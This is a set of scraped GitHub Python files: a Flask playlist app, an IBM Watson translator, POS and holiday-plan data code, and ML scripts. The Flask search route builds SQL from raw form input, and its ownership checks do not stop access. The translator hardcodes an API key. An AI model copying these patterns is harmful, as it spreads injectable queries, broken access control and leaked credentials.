redirect('login')\n\n@app.route('/toggle_music_art')\ndef toggle_music_art():\n\tif (session.get('music_art')):\n\t\tsession['music_art'] = False\n\telse:\n\t\tsession['music_art'] = True\n\treturn \"\"\n\n@app.route('/playlist')\ndef playlist():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect playlist_id, playlist_name from playlists where username = %s;\n\t\"\"\", (session.get('username'),))\n\n\trows = cur.fetchall()\n\n\tplaylists = []\n\tif len(rows) == 0:\n\t\tflash('You have no playlists')\n\telse:\n\t\tfor playlist in rows:\n\t\t\tplaylists.append((playlist[0], playlist[1]))\n\t\n\treturn render_template('playlists.html', playlists=playlists)\n\n@app.route('/add_playlist')\ndef add_playlist():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\treturn render_template('add_playlist.html')\n\n@app.route('/add_playlist', methods=['POST'])\ndef add_playlist_to_table():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tplaylist_name = request.form['playlist_name']\n\n\t# try:\n\t# \tquery = cur.execute(\n\t# \t'''\n\t# \t\tinsert into playlists (username, playlist_name) values(%s, %s);\n\t# \t''', (session.get('username'), playlist_name))\n\t# except Exception as e:\n\t# \tquery1 = cur.execute(\n\t# \t'''\n\t# \t\trollback;\n\t# \t''', (session.get('username'), playlist_name))\n\t\t\n\t# \tprint(e)\n\t# \tflash('Playlist with name \\'%s\\' already exists' % (playlist_name,))\n\t# \tflash('Please choose another playlist name')\n\n\t# \treturn render_template('add_playlist.html')\n\t# else:\n\t# \tquery2 = cur.execute(\n\t# \t'''\n\t# \t\tcommit;\n\t# \t''', (session.get('username'), playlist_name))\n\t\n\tquery = cur.execute(\n'''\n\tinsert into playlists (username, playlist_name) values(%s, %s);\n''', (session.get('username'), playlist_name))\n\tquery2 = cur.execute(\n'''\n\tcommit;\n''', (session.get('username'), playlist_name))\n\n\treturn redirect('/playlist')\n\n@app.route('/playlist/<playlist_id>')\ndef select_playlist(playlist_id):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect username, playlist_name from playlists where playlist_id = %s;\n\t\"\"\", (playlist_id,))\n\n\trows = cur.fetchall()\n\n\tif rows[0][0] != session.get('username'):\n\t\t# TODO: alert message here\n\t\tredirect('/home')\n\n\tquery1 = cur.execute(\n\t\"\"\"\n\t\tselect track_uri, track, artist from playlist_tracks, songs where playlist_id = %s and track_uri = uri;\n\t\"\"\", (playlist_id,))\n\n\trows1 = cur.fetchall()\n\n\tplaylist_tracks = []\n\n\tmusic_art = session.get('music_art')\n\n\tfor track in rows1:\n\t\tid_hash = track[0].split(\":\")[-1]\n\n\t\tif music_art:\n\t\t\ttrack_s = sp.track(track[0])\n\t\t\t# pprint(track)\n\t\t\timage_url = track_s['album']['images'][2]['url']\n\n\t\t\tplaylist_tracks.append((track[0], track[1], track[2], id_hash, image_url))\n\t\telse:\n\t\t\tplaylist_tracks.append((track[0], track[1], track[2], id_hash))\n\n\tif len(playlist_tracks) == 0:\n\t\tflash('Playlist is empty')\n\n\treturn render_template('playlist_tracks.html', playlist_name=rows[0][1], playlist_tracks=playlist_tracks, playlist_id=playlist_id)\n\n@app.route('/songs/<track_uri>')\ndef songs(track_uri):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect * from songs where uri = %s;\n\t\"\"\", (track_uri,))\n\n\trows = cur.fetchall()\n\n\tsong_name = rows[0][0]\n\tartist_name = rows[0][1]\n\turi = rows[0][2]\n\n\tid_hash = uri.split(\":\")[-1]\n\ttrack = sp.track(uri)\n\t# pprint(track)\n\timage_url = track['album']['images'][1]['url']\n\n\treturn render_template('songs.html', song_name=song_name, artist_name=artist_name, image_url=image_url, uri=uri, id_hash=id_hash)\n\n@app.route('/songs/<track_uri>/play')\ndef play_song(track_uri):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\ttry:\n\t\tquery = cur.execute(\n\t\t'''\n\t\t\tinsert into user_recent_tracks values(%s, %s, now());\n\t\t''', (session.get('username'), track_uri))\n\texcept Exception as e:\n\t\tquery1 = cur.execute('''\n\t\trollback;\n\t\t''')\n\n\t\tprint(e)\n\telse:\n\t\tquery2 = cur.execute('''\n\t\tcommit;\n\t\t''')\n\n\treturn \"\"\n\n@app.route('/songs/<track_uri>/add_to_playlist')\ndef adding_playlist(track_uri):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect playlist_id, playlist_name from playlists where username = %s;\n\t\"\"\", (session.get('username'),))\n\n\trows = cur.fetchall()\n\n\tplaylists = []\n\tif len(rows) == 0:\n\t\tflash('You have no playlists')\n\telse:\n\t\tfor playlist in rows:\n\t\t\tplaylists.append((playlist[0], playlist[1]))\n\t\n\treturn render_template('add_to_playlist.html', playlists=playlists)\n\n\n@app.route('/songs/<track_uri>/add_to_playlist/<playlist_id>')\ndef add_to_playlist(track_uri, playlist_id):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect username, playlist_name from playlists where playlist_id = %s;\n\t\"\"\", (playlist_id,))\n\n\trows = cur.fetchall()\n\n\tif rows[0][0] != session.get('username'):\n\t\t# TODO: alert message here\n\t\tredirect('/home')\n\n\ttry:\n\t\tquery = cur.execute('''\n\t\tinsert into playlist_tracks values(%s, %s);\n\t\t''', (playlist_id, track_uri))\n\texcept psycopg2.errors.UniqueViolation as uniq_voil:\n\t\tquery1 = cur.execute('''\n\t\trollback;\n\t\t''')\n\t\t# TODO: display reason of error song already exists in playlist\n\telse:\n\t\tquery2 = cur.execute('''\n\t\tcommit;\n\t\t''')\n\n\treturn redirect('/playlist/'+str(playlist_id))\n\n@app.route('/songs/<track_uri>/delete_from_playlist/<playlist_id>')\ndef delete_from_playlist(track_uri, playlist_id):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect username, playlist_name from playlists where playlist_id = %s;\n\t\"\"\", (playlist_id,))\n\n\trows = cur.fetchall()\n\n\tif rows[0][0] != session.get('username'):\n\t\t# TODO: alert message here\n\t\tredirect('/home')\n\n\ttry:\n\t\tquery = cur.execute('''\n\t\tdelete from playlist_tracks where playlist_id = %s and track_uri = %s;\n\t\t''', (playlist_id, track_uri))\n\texcept Exception as e:\n\t\tquery1 = cur.execute('''\n\t\trollback;\n\t\t''')\n\t\tprint(e)\n\t\t# TODO: display reason of error song either\n\telse:\n\t\tquery2 = cur.execute('''\n\t\tcommit;\n\t\t''')\n\n\treturn redirect('/playlist/'+str(playlist_id))\n\n\n@app.route('/delete_playlist/<playlist_id>')\ndef delete_playlist(playlist_id):\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect username, playlist_name from playlists where playlist_id = %s;\n\t\"\"\", (playlist_id,))\n\n\trows = cur.fetchall()\n\n\ttry:\n\t\tquery = cur.execute('''\n\t\tdelete from playlists where playlist_id = %s;\n\t\t''', (playlist_id,))\n\texcept Exception as e:\n\t\tquery1 = cur.execute('''\n\t\trollback;\n\t\t''')\n\t\tprint(e)\n\telse:\n\t\tquery2 = cur.execute('''\n\t\tcommit;\n\t\t''')\n\t\n\treturn redirect('/playlist')\n\n@app.route('/search')\ndef search():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\treturn render_template(\"search.html\")\n\n@app.route('/search', methods=['POST'])\ndef search_query():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tsong_name = request.form['song_name']\n\tartist_name = request.form['artist_name']\n\n\tquery_str = \"select * from songs \"\n\tif song_name == '' and artist_name == '':\n\t\treturn redirect('/search')\n\tif song_name != '':\n\t\tquery_str += 'where '\n\t\tquery_str += 'track ~* \\'%s\\' ' % song_name\n\tif artist_name != '':\n\t\tif song_name != '':\n\t\t\tquery_str += 'and '\n\t\telse:\n\t\t\tquery_str += 'where '\n\t\tquery_str += 'artist ~* \\'%s\\' ' % artist_name\n\tif song_name != '':\n\t\tquery_str += 'order by track'\n\tif artist_name != '':\n\t\tif song_name != '':\n\t\t\tquery_str += 'order by artist'\n\t\telse:\n\t\t\tquery_str += ', artist'\n\n\tquery_str += ';'\n\n\tquery = cur.execute(query_str)\n\trows = cur.fetchall()\n\n\tif len(rows) == 0:\n\t\tflash('No results found')\n\n\treturn render_template('search.html', rows=rows)\n\ndef tuples_to_html(tuples):\n\thtable=''\n\ttuples[0] = ['<b>' + i.upper() + '</b>' for i in tuples[0]] \n\tfor row in tuples:\n\t\tnew_row = '<tr>' \n\t\tnew_row += '<td align=\"left\" style=\"padding:1px 4px\">'+ str(row[0])+'</td>'\n\t\trow.remove(row[0])\n\t\tnew_row = new_row + ''.join(['<td align=\"right\" style=\"padding:1px 4px\">' + str(x) + '</td>' for x in row])  \n\t\tnew_row += '</tr>' \n\t\thtable+= new_row\n\thtable += '</table>'\n\treturn htable\n\ndef query_to_html(query=None, rows=[], to_execute=False):\n\tif to_execute:\n\t\tcur.execute(query)\n\theader = [i[0] for i in cur.description]\n\trows = [list(i) for i in cur.fetchall()]\n\trows.insert(0,header)\n\treturn tuples_to_html(rows)\n\n@app.route('/table.html')\ndef a():\n\tquery = \"\"\"select track from songs where artist = 'AC/DC'\"\"\"\n\t# with open('table.html', 'w') as filetowrite:\n\t# \tfiletowrite.write(query_to_html(query))\n\t# return render_template('table.html')\n\treturn render_template('table.html', table=query_to_html(query, to_execute=True))\n\n\n@app.route('/navbar.html')\ndef navbar():\n\treturn render_template('navbar.html')\n\n\n@app.route('/profile')\ndef profile():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t\"\"\"\n\t\tselect users.username,first_name,last_name, email, passwd from users, user_details where users.username = user_details.username and users.username = %s;\n\t\"\"\", (session.get('username'),))\n\tuserdetail = cur.fetchall()\n\n\t# print(userdetail)\n\treturn render_template('profile.html',userdetail=userdetail[0])\n\n@app.route('/profile/interests')\ndef interest():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t'''\n\t\tselect tag_name, clicks from user_interest_tags where username = %s order by clicks desc;\n\t''', (session.get('username'),) )\n\n\tinterests = cur.fetchall()\n\n\treturn render_template('user_interests.html', interests=interests)\n\n@app.route('/recent_tracks')\ndef recent_tracks():\n\tif not session.get('logged_in'):\n\t\treturn redirect('/login')\n\n\tquery = cur.execute(\n\t'''\n\t\tselect track_uri, track, time_stamp from user_recent_tracks, songs where username = %s and uri = track_uri order by time_stamp desc;\n\t''', (session.get('username'),) )\n\n\ttrack_times = cur.fetchall()\n\n\treturn render_template('recent_tracks.html', track_times=track_times)\n\nif __name__ == \"__main__\":\n\tapp.secret_key = os.urandom(12)\n\tapp.run(host=\"localhost\", port=5001, debug=True)\n\t","repo_name":"yash98/MusicRecommender","sub_path":"website/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12231847683","text":"import streamlit as st\r\nimport numpy as np\r\n\r\nfrom ibm_watson import LanguageTranslatorV3\r\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator, authenticator\r\n\r\napi_key = 'jKCI1mRitv74PBwYUx96w2MJPbBVB15qtm6AEj4GLg6M'\r\nurl = 'https://api.au-syd.language-translator.watson.cloud.ibm.com/instances/e19fba10-a1d8-44ae-b818-c6f558fc856b'\r\n\r\n\r\nauthenticator = IAMAuthenticator(apikey=api_key)\r\n\r\nlangtranslator = LanguageTranslatorV3(\r\n    version='2018-05-01', authenticator=authenticator\r\n)\r\n\r\nlangtranslator.set_service_url(url)\r\n\r\nst.title(\"Language-Translator\")\r\nst.subheader(\"Made by Aryan S. Sawant\")\r\n\r\noption = st.selectbox(\r\n    'Which language would you choose to type',\r\n    ('English', 'Arabic', 'Hindi', 'German', 'Spanish', 'Korean'))\r\n\r\noption1 = st.selectbox(\r\n    'Which language would you like to translate to',\r\n    ('English', 'Arabic', 'Hindi', 'German', 'Spanish', 'Korean'))\r\n\r\nsent = \"Enter the text in \"+option+\" language in the text-area provide below\"\r\n\r\n\r\nlanguage_lib = {'English': 'en', 'Arabic': 'ar',\r\n                'Hindi': 'hi', 'Spanish': 'es', 'German': 'de', 'Korean': 'ko'}\r\n\r\nsentence = st.text_area(sent, height=250)\r\n\r\nif st.button(\"Translate\"):\r\n    try:\r\n        if option == option1:\r\n            st.write(\"Select different language for translation\")\r\n\r\n        else:\r\n            translate_code  = language_lib[option]+'-'+language_lib[option1]\r\n\r\n            translation = langtranslator.translate(\r\n                text=sentence, model_id=translate_code)\r\n            \r\n            ans = translation.get_result()['translations'][0]['translation']\r\n\r\n            sent1 = 'Translated text in '+option1+' language is shown below'\r\n\r\n            st.markdown(sent1)\r\n            st.write(ans)\r\n\r\n    except:\r\n        st.write(\"Please do cross check if text-area is filled with sentences or not.\")\r\n","repo_name":"LaxmansAryan/LanguageTranslationApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7807494229","text":"# -*- coding: utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n\r\n\"\"\"\r\nFor testing:\r\nlatest_file = (r'P:\\BI\\Keith Hickman\\POS\\Data\\current_raw_customer\\Amazon W-E 02-01-2020.xlsx')\r\n\r\nFunction takes in file location for customer file and a datapath \r\n\"\"\"\r\n\r\n\r\ndef amazon_import(latest_file, datapath):\r\n    \r\n    print(\"Importing Amazon POS data file: {}\".format(latest_file))\r\n    amazon = pd.read_excel(latest_file, skiprows=1).rename(columns=\r\n                          {\"ASIN\":\"CustItemNumber\", \r\n                            \"Product Title\":\"CustItemDesc\",\r\n                            \"Ordered Revenue\":\"POSAmount\",\r\n                            \"Ordered Units\":\"POSQuantity\"})\r\n    \r\n       \r\n    amazon = amazon[['CustItemNumber', 'CustItemDesc', 'POSAmount', 'POSQuantity']]\r\n    \r\n    amazon = amazon[amazon['POSAmount'] != 0]\r\n    \r\n    print(\"Importing Amazon master...this takes a minute.\")\r\n    amazon_master = pd.read_excel(datapath+r\"\\POS Databasework2020.xlsx\",\r\n                             sheet_name=\"Dorel Master\", \r\n                             skiprows=6,\r\n                             converters={'12 Digit UPC':str,\r\n                                         'Dorel UPC':str,\r\n                                         'Short UPC':str})\r\n\r\n    amazon_master['CustItemNumber'] = amazon_master['Amazon ID']\r\n    amazon_master['ItemNumber'] = amazon_master['ITEM NBR']\r\n    \r\n    \r\n    #Merge datasets#\r\n    amazon_merged = pd.merge(amazon, amazon_master, on=\"CustItemNumber\", how=\"left\")\r\n    merged_cols = ['CustItemNumber','CustItemDesc','ItemNumber','POSAmount','POSQuantity', 'Short Brand']\r\n    amazon_merged = amazon_merged[merged_cols]\r\n    \r\n    \r\n    #Duplicate handling:\r\n    if len(amazon_merged) != len(amazon):\r\n        amazon_merged = amazon_merged.drop_duplicates(subset=['CustItemNumber',\r\n                                              'CustItemDesc',\r\n                                              'POSAmount',\r\n                                              'POSQuantity'], \r\n                                      keep='first')\r\n\r\n    amazon_exceptions = amazon_merged[amazon_merged['ItemNumber'].isna()]\r\n    \r\n\r\n    amazon_final = amazon_merged[pd.notnull(amazon_merged['ItemNumber'])]\r\n    \r\n   \r\n    #suppress view-vs-copy warning for creating new columns\r\n    pd.options.mode.chained_assignment = None\r\n    #Create columns:\r\n\r\n    amazon_final['ItemID'] = ''\r\n    amazon_final['CustVendStkNo'] = ''\r\n    amazon_final['BricksClicks'] = \"Clicks\"\r\n    amazon_final['AccountMajor'] = \"AMAZON\"\r\n    amazon_final['Account'] = 'AMAZON'\r\n#    amazon_final['Store Cnt'] = \"\"\r\n#    amazon_final['Avg Retail'] = \"\"\r\n#    amazon_final['In Stock%'] = \"\"\r\n#    amazon_final['On Hand'] = \"\"\r\n#    amazon_final['On Order'] = \"\"\r\n    amazon_final['UPC'] = \"\"\r\n\r\n   \r\n    #List comprehension for Premium column:\r\n    premium_list = ['MAXI COSI', 'QUINNY', 'Bebe Confort', 'Baby Art', 'Hoppop', 'TINY LOVE']\r\n    amazon_final['MainlinePremium'] = np.where(amazon_final['Short Brand'].isin(premium_list), 'Premium', 'Mainline')\r\n    \r\n   \r\n    cols_list = ['AccountMajor', 'Account', 'BricksClicks', 'CustItemNumber','CustItemDesc','CustVendStkNo','ItemID','ItemNumber',\r\n               'MainlinePremium','POSAmount','POSQuantity', 'UPC']\r\n    \r\n    amazon_final = amazon_final[cols_list]    \r\n    if len(amazon_exceptions) > 0:\r\n        print(len(amazon_exceptions),\"records not found in the Item Master crossreference. Please check the exception files and run again.\")\r\n        #amazon_exceptions.to_csv('P:\\\\BI\\\\POS Data from Paul\\\\exception_files\\\\amazon_exceptions_{}.csv').format(end_of_week)\r\n    else:\r\n        print(\"no exceptions\")\r\n    \r\n    #VALIDATION/TEST SCRIPT = COMMENT OUT IN PRODUCTION\r\n    amazon_validation = amazon_final.groupby(['AccountMajor']).agg({\"POSAmount\":'sum', \r\n                                                  \"POSQuantity\":\"sum\",\r\n                                                  \"BricksClicks\":\"count\"}).reset_index()\r\n    \r\n    return amazon_final, amazon_exceptions, amazon_validation\r\n\r\n#amazon_final, amazon_exceptions, amazon_validation = amazon_import(latest_file)\r\n    ","repo_name":"keithhickman07/pos-data-cleaning","sub_path":"amazon_import.py","file_name":"amazon_import.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26850456316","text":"import nrrd\nfrom scipy import ndimage\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nfrom keras import backend as K\n\nsmooth = 1\nrealLabels = pickle.load(open(\"real.pickle\",\"rb\"))\npredLabels = pickle.load(open(\"predicts.pickle\",\"rb\"))\n\ndef dice_coef(y_true, y_pred):\n    y_true_f = K.flatten(y_true)\n    y_pred_f = K.flatten(y_pred)\n    intersection = K.sum(y_true_f * y_pred_f)\n    return (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth)\n\ndef dice_coef3D(y_true, y_pred):\n    shape = y_true.shape\n    new_shape = [-1]\n    y_true_s = K.reshape(y_true, [128, -1])\n    y_pred_s = K.reshape(y_pred, new_shape)\n    intersection = K.sum(y_true_s * y_pred_s, 1)\n    return K.sum((2. * intersection + smooth) / (K.sum(y_true_s, 1) + K.sum(y_pred_s, 1) + smooth)) / shape[0]\n\ncount2D=0\ncount3D=0\nvalue2D=0\nvalue3D=0\nfor i in range(realLabels.shape[0]):\n    count3D=count3D+1\n    real3D=realLabels[i,:]\n    pred3D=predLabels[i,:]\n    value3D=value3D+dice_coef3D(real3D, pred3D)\n    for j in range(realLabels.shape[1]):\n        count2D=count2D+1\n        real2D=realLabels[i,j,:]\n        pred2D=predLabels[i,j,:]\n        value2D=value2D+dice_coef(real2D, pred2D)\nvalue3D=value3D/count3D\nvalue2D=value2D/count2D\n\nprint(value3D)\nprint(value2D)\n\n\n\nimagePath = \"Desktop\\\\AKA2.nrrd\"\nmaskPath = \"Desktop\\\\AKA2_Labels.nrrd\"\noutputPath = \"Desktop\\\\AKA2_NewLabels.nrrd\"\n\nimageArray, imageHeader = nrrd.read(imagePath)\nmaskArray, maskHeader = nrrd.read(maskPath)\nnewImage=ndimage.convolve(imageArray, np.ones((3,3,3))/27)\nonlyMasked = newImage[maskArray>0]\nstd=np.std(onlyMasked)\nmean=np.mean(onlyMasked)\ncoef=.2\nlow=mean-std*coef\nhigh=mean+std*coef\nnewImage[newImage<low]=0\nnewImage[newImage>high]=0\nplt.hist(onlyMasked, bins=255)\nplt.show()\nnrrd.write(outputPath,newImage,imageHeader)\na=1","repo_name":"ashide/deepSpinalSegmentor","sub_path":"data/testIntensity.py","file_name":"testIntensity.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"34818629054","text":"import pandas as pd\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport json\nimport os\nimport datetime as dt\nfrom torch.utils.data import Dataset, DataLoader, ConcatDataset\nfrom sklearn.preprocessing import MinMaxScaler\n\ndf = pd.read_csv('./train_data/data.csv')\ndf = df.sort_values(by=['timestamp'])\ndf = df.drop(columns=['Unnamed: 0'])\n\n# imputation\nfor column in df.columns[2:]:\n  if np.any(df[column] <= 0):  # Check if column contains negative values\n      column_mean = df[column].mean()  # Calculate column mean\n      df[column] = np.where(df[column] <= 0, column_mean, df[column])  # Replace negative values with mean\n      \n# normalize\nscaler = MinMaxScaler()\ntarget_columns = ['temp','WDSD','pm2.5']  # Select only numeric columns\nfor column in target_columns:\n    df[column] = scaler.fit_transform(df[column].values.reshape(-1, 1))\n    \nclass PM25Dataset(Dataset):\n    def __init__(self, data):\n        self.data = data\n        \n    def __len__(self):\n        return len(self.data)\n    \n    def __getitem__(self, idx):\n        return self.data[idx]\n    \ndatasets = []\nfor device_id, group in df.groupby('deviceId'):\n\n    group = group.drop(columns=['deviceId', 'timestamp'])  # Drop non-feature columns\n    group_values = group.values # 24 * 5\n\n    dataset = PM25Dataset(group_values)\n    datasets.append(dataset)\n\n\ndataset = ConcatDataset(datasets)\ndataset, _ = torch.utils.data.random_split(dataset, [len(dataset), 0])\ndata_loader = DataLoader(dataset, batch_size=1333, shuffle=False)\n\n# init device to store data\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# Define the Linear Regression model\nclass LinearRegression(nn.Module):\n    def __init__(self, input_size, output_size):\n        super(LinearRegression, self).__init__()\n        self.fc = nn.Linear(input_size, output_size)\n    \n    def forward(self, x):\n        out = self.fc(x)\n        return out\n\nfile = './model/Linear_model.pt'\nmodel = torch.load(file)\ncriterion = nn.MSELoss()\n\nmodel.eval()  # Set the model to evaluation mode\n\nweek_loss = {\n    '06-01' : [],\n    '06-02' : [],\n    '06-03' : [],\n    '06-04' : [],\n    '06-05' : [],\n    '06-06' : [],\n    '06-07' : [],\n}\ntotal_loss =[]\nwith torch.no_grad():  # Disable gradient tracking\n    for i, inputs in enumerate(data_loader):\n\n        inputs = inputs.float()\n        inputs=inputs.to(device)\n        outputs = model(inputs[:, :-1])\n        targets = inputs[:, -1:]\n        targets = targets.to(device)     \n        loss = criterion(outputs, targets)\n        \n        week_loss['06-0'+str(1+i//24)].append(loss.item())\n        total_loss.append(loss.item())\n        \n\nprint(f'avg mse : {np.average(total_loss)}')\nfor i in week_loss:\n    print(np.average(week_loss[i]))\n\n\n","repo_name":"haoching918/airBox-IOT","sub_path":"prediction/Linear_evaluate.py","file_name":"Linear_evaluate.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19533841925","text":"from datetime import date\n\nfrom django.db import transaction\nfrom django.db.models.signals import post_delete, post_save\nfrom django.dispatch import receiver\n\nfrom ..models.holiday_plan import WEEKDAYS, HolidayPlan, HolidayPlanCacheLookup\nfrom ..models.holiday_record import HolidayRecord\nfrom ..models.holiday_record_type import HolidayRecordType\nfrom ..models.holiday_user import HolidayUser\n\n\n@receiver([post_save, post_delete], sender=HolidayRecord)\n@receiver([post_save, post_delete], sender=HolidayPlan)\ndef holiday_receiver(sender, instance, **kwargs):\n    if sender == HolidayPlan:\n        year_list = (\n            HolidayRecord.objects.filter(record_type__code__in=(\"PH\", \"CLS\"))\n            .values(\"year\")\n            .distinct()\n        )\n        for year in year_list:\n            recalculate_plans(instance.user, year[\"year\"])\n\n\ndef recalculate_plans(user, year):\n    plan_lookup = HolidayPlanCacheLookup()\n    plans = plan_lookup.get_for_user(user)\n    if len(plans) == 0:\n        return\n\n    with transaction.atomic():\n        type_entitlement = HolidayRecordType.objects.get(code=\"ENT\")\n        type_public_holiday = HolidayRecordType.objects.get(code=\"PH\")\n        type_public_holiday_adjustment = HolidayRecordType.objects.get(code=\"PHADJ\")\n\n        for p in plans:\n            p.records.filter(year=year).delete()\n\n        dt = date(year, 1, 1)\n        p = plan_lookup.get_for_user_and_date(user, dt)\n        if p is not None and p.allowance > 0 and p.start_date != dt:\n            HolidayRecord.objects.create(\n                user=p.user,\n                start_date=dt,\n                end_date=dt,\n                year=dt.year,\n                adjustment=p.outstanding_allowance_at_date(dt),\n                title=f\"Entitlement Year Start {dt.year}\",\n                record_type=type_entitlement,\n                holiday_plan=p,\n            )\n            if p.week_sum < 5:\n                public_holiday_count = HolidayRecord.objects.filter(\n                    record_type=type_public_holiday, year=year\n                ).count()\n                ph_correction = (\n                    p.week_sum / 5 * public_holiday_count\n                ) - public_holiday_count\n                HolidayRecord.objects.create(\n                    user=p.user,\n                    start_date=dt,\n                    end_date=dt,\n                    year=dt.year,\n                    adjustment=ph_correction,\n                    title=f\"Bank Holiday Adjustment Year Start {dt.year}\",\n                    record_type=type_public_holiday_adjustment,\n                    holiday_plan=p,\n                )\n\n    for p in plans:\n        dt = p.start_date\n        if dt.year == year:\n            plan_type = \"New Plan\" if p.allowance > 0 else \"Leaving\"\n            HolidayRecord.objects.create(\n                user=p.user,\n                start_date=dt,\n                end_date=dt,\n                year=dt.year,\n                adjustment=p.outstanding_allowance_at_date(dt),\n                title=f\"Entitlement Year {dt.year} - {plan_type}\",\n                record_type_id=1,\n                holiday_plan_id=p.pk,\n            )\n            if p.week_sum < 5:\n                public_holiday_count = HolidayRecord.objects.filter(\n                    record_type=type_public_holiday, year=dt.year\n                ).count()\n                ph_correction = (\n                    p.week_sum / 5 * public_holiday_count\n                ) - public_holiday_count\n                HolidayRecord.objects.create(\n                    user=p.user,\n                    start_date=dt,\n                    end_date=dt,\n                    year=dt.year,\n                    adjustment=p.pro_rata_remainder_at_date(dt, ph_correction),\n                    title=f\"Bank Holiday Adjustment Year {dt.year} - New Plan\",\n                    record_type=type_public_holiday_adjustment,\n                    holiday_plan=p,\n                )\n\n        dt = p.end_date\n        if dt is not None and dt.year == year:\n            HolidayRecord.objects.create(\n                user=p.user,\n                start_date=dt,\n                end_date=dt,\n                year=dt.year,\n                adjustment=-p.outstanding_allowance_at_date(dt),\n                title=f\"Entitlement Year {dt.year} - End Plan\",\n                record_type_id=1,\n                holiday_plan_id=p.pk,\n            )\n            if p.week_sum < 5:\n                public_holiday_count = HolidayRecord.objects.filter(\n                    record_type=type_public_holiday, year=dt.year\n                ).count()\n                ph_correction = (\n                    p.week_sum / 5 * public_holiday_count\n                ) - public_holiday_count\n                HolidayRecord.objects.create(\n                    user=p.user,\n                    start_date=dt,\n                    end_date=dt,\n                    year=dt.year,\n                    adjustment=-p.pro_rata_remainder_at_date(dt, ph_correction),\n                    title=f\"Bank Holiday Adjustment Year {dt.year} - End Plan\",\n                    record_type=type_public_holiday_adjustment,\n                    holiday_plan=p,\n                )\n\n    for ph in HolidayRecord.objects.filter(record_type__code=\"PH\", year=year):\n        day_of_week = ph.start_date.weekday()\n        field = f\"{WEEKDAYS[day_of_week]}_days\"\n\n        p = plan_lookup.get_for_user_and_date(user, ph.start_date)\n        if p is not None:\n            adjustment = 1 - getattr(p, field)\n            if adjustment > 0:\n                HolidayRecord.objects.create(\n                    user=p.user,\n                    start_date=ph.start_date,\n                    end_date=ph.start_date,\n                    year=ph.start_date.year,\n                    adjustment=adjustment,\n                    title=f\"{ph.title} Adjustment\",\n                    record_type=type_public_holiday_adjustment,\n                    holiday_plan_id=p.pk,\n                )\n\n\ndef recalculate_all_plans():\n    year_list = (\n        HolidayRecord.objects.filter(record_type__code__in=(\"PH\", \"CLS\"))\n        .values(\"year\")\n        .distinct()\n    )\n    for user in HolidayUser.objects.all():\n        for year in year_list:\n            recalculate_plans(user, year[\"year\"])\n","repo_name":"SocialFinanceDigitalLabs/teamsite-annual-leave","sub_path":"teamsite_annual_leave/tasks/holiday_plan_tasks.py","file_name":"holiday_plan_tasks.py","file_ext":"py","file_size_in_byte":6224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74946555280","text":"import pickle\nfrom torch import nn\nimport torch\nfrom torch.nn import functional as F\nfrom torch.utils.data.dataloader import DataLoader\nimport torchmetrics\nimport numpy as np\n\nfrom utils.loader import MeliDataset\nfrom utils.params import BASE_PATH, VECTOR_SIZE\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning.loggers import MLFlowLogger\nfrom pytorch_lightning.callbacks import EarlyStopping\n\n\nmlf_logger = MLFlowLogger(experiment_name=\"cnn\", tracking_uri=\"file:./mlruns\")\n\n\nclass CNNClassifier(pl.LightningModule):\n    def __init__(\n        self,\n        vector_size=VECTOR_SIZE,\n        filter_sizes=[3, 4, 5],\n        num_filters=[100, 100, 100],\n        num_classes=632,\n        dropout=0.5,\n        batch_size=300,\n        learning_rate=0.0001,\n        **kwargs,\n    ):\n        super().__init__()\n\n        self.save_hyperparameters(\n            \"filter_sizes\", \"num_filters\", \"dropout\", \"batch_size\", \"learning_rate\"\n        )\n\n        self.learning_rate = learning_rate\n        self.batch_size = batch_size\n        self.vector_size = vector_size\n\n        self.conv1d_list = nn.ModuleList(\n            [\n                nn.Conv1d(\n                    in_channels=self.vector_size,\n                    out_channels=num_filters[i],\n                    kernel_size=filter_sizes[i],\n                )\n                for i in range(len(filter_sizes))\n            ]\n        )\n        # Fully-connected layer and Dropout\n        self.fc_1 = 